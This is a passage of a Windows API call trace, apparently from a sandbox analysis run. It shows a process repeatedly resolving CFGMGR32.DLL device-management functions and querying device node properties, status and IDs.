0x7ffb1cef46e0 [0208.047] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0208.047] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0208.047] malloc (_Size=0x18) returned 0x20abc2819c0 [0208.047] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x4, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0208.209] malloc (_Size=0x48) returned 0x20abc27cb20 [0208.210] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x37df2299, dwHighDateTime=0x1d9eb0c)) [0208.210] SetEvent (hEvent=0x248) returned 1 [0208.215] malloc (_Size=0xd8) returned 0x20abc2867b0 [0208.215] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0208.215] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0208.215] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0208.216] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0208.216] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0208.216] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0208.216] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0208.216] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0208.216] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0208.217] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0208.217] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0208.217] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0208.217] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0208.217] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0208.217] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0208.218] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0208.218] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0208.218] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0208.218] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0208.218] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0208.218] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0208.219] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0208.219] malloc (_Size=0x18) returned 0x20abc281f60 [0208.219] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x4, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0208.219] malloc (_Size=0x48) returned 0x20abc27cb20 [0208.219] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x37df2299, dwHighDateTime=0x1d9eb0c)) [0208.219] SetEvent (hEvent=0x248) returned 1 [0208.224] malloc (_Size=0xd8) returned 0x20abc2867b0 [0208.224] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0208.226] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0208.226] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0208.226] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0208.226] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0208.226] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0208.226] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0208.226] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0208.227] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0208.227] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0208.227] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0208.227] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0208.227] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0208.227] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0208.227] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0208.228] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0208.228] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0208.228] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0208.228] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0208.228] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0208.228] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0208.228] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0208.229] malloc (_Size=0x18) returned 0x20abc281fc0 [0208.229] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x4, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0208.229] malloc (_Size=0x48) returned 0x20abc27cb20 [0208.229] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x37e18617, dwHighDateTime=0x1d9eb0c)) [0208.229] SetEvent (hEvent=0x248) returned 1 [0208.233] malloc (_Size=0xd8) returned 0x20abc2867b0 [0208.233] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0208.233] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0208.233] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0208.233] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0208.233] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0208.233] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0208.234] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0208.234] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0208.234] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0208.234] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0208.234] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0208.234] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0208.234] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0208.235] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0208.235] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0208.235] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0208.235] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0208.235] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0208.235] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0208.235] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0208.235] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0208.236] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0208.236] malloc (_Size=0x18) returned 0x20abc281e80 [0208.236] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x4, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0208.236] malloc (_Size=0x48) returned 0x20abc27cf80 [0208.236] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x37e18617, dwHighDateTime=0x1d9eb0c)) [0208.237] SetEvent (hEvent=0x248) returned 1 [0208.242] malloc (_Size=0xd8) returned 0x20abc2867b0 [0208.242] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0208.242] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0208.242] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0208.243] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0208.243] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0208.243] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0208.243] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0208.243] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0208.243] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0208.243] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0208.243] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0208.244] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0208.244] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0208.244] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0208.244] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0208.244] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0208.244] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0208.245] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0208.245] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0208.245] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0208.245] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0208.245] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0208.245] malloc (_Size=0x18) returned 0x20abc281f60 [0208.245] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x4, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0208.247] malloc (_Size=0x48) returned 0x20abc27cf80 [0208.247] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x37e3ea04, dwHighDateTime=0x1d9eb0c)) [0208.248] SetEvent (hEvent=0x248) returned 1 [0208.252] malloc (_Size=0xd8) returned 0x20abc2867b0 [0208.252] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0208.253] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0208.253] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0208.253] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0208.253] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0208.253] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0208.253] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0208.254] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0208.254] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0208.254] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0208.254] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0208.254] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0208.255] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0208.255] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0208.255] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0208.255] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0208.255] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0208.256] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0208.256] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0208.257] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0208.257] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0208.257] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0208.257] malloc (_Size=0x18) returned 0x20abc281aa0 [0208.257] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x4, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0208.258] malloc (_Size=0x48) returned 0x20abc27cb20 [0208.258] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x37e6507e, dwHighDateTime=0x1d9eb0c)) [0208.258] SetEvent (hEvent=0x248) returned 1 [0208.476] malloc (_Size=0xd8) returned 0x20abc2867b0 [0208.476] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0208.477] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0208.477] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0208.479] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0208.479] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0208.479] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0208.480] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0208.480] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0208.480] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0208.480] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0208.480] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0208.480] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0208.480] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0208.480] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0208.481] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0208.481] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0208.481] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0208.482] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0208.483] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0208.483] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0208.483] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0208.483] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0208.484] malloc (_Size=0x18) returned 0x20abc281ac0 [0208.484] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x4, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0208.485] malloc (_Size=0x48) returned 0x20abc27cb20 [0208.485] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x38093e88, dwHighDateTime=0x1d9eb0c)) [0208.485] SetEvent (hEvent=0x248) returned 1 [0208.489] malloc (_Size=0xd8) returned 0x20abc2867b0 [0208.489] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0208.489] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0208.492] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0208.492] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0208.493] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0208.493] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0208.493] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0208.493] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0208.493] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0208.493] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0208.494] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0208.494] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0208.494] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0208.494] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0208.494] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0208.494] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0208.495] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0208.495] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0208.495] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0208.495] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0208.495] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0208.495] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0208.496] malloc (_Size=0x18) returned 0x20abc2819a0 [0208.496] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x4, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0208.496] malloc (_Size=0x48) returned 0x20abc27cb20 [0208.496] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x380a7a10, dwHighDateTime=0x1d9eb0c)) [0208.496] SetEvent (hEvent=0x248) returned 1 [0208.502] malloc (_Size=0xd8) returned 0x20abc2867b0 [0208.502] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0208.502] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0208.502] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0208.502] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0208.502] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0208.503] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0208.503] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0208.503] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0208.503] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0208.503] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0208.503] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0208.503] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0208.503] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0208.504] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0208.504] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0208.504] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0208.504] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0208.504] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0208.504] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0208.504] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0208.504] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0208.505] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0208.505] malloc (_Size=0x18) returned 0x20abc281ee0 [0208.505] CM_Get_Device_IDA (in: dnDevInst=0x6, Buffer=0x2dc22fd2e0, 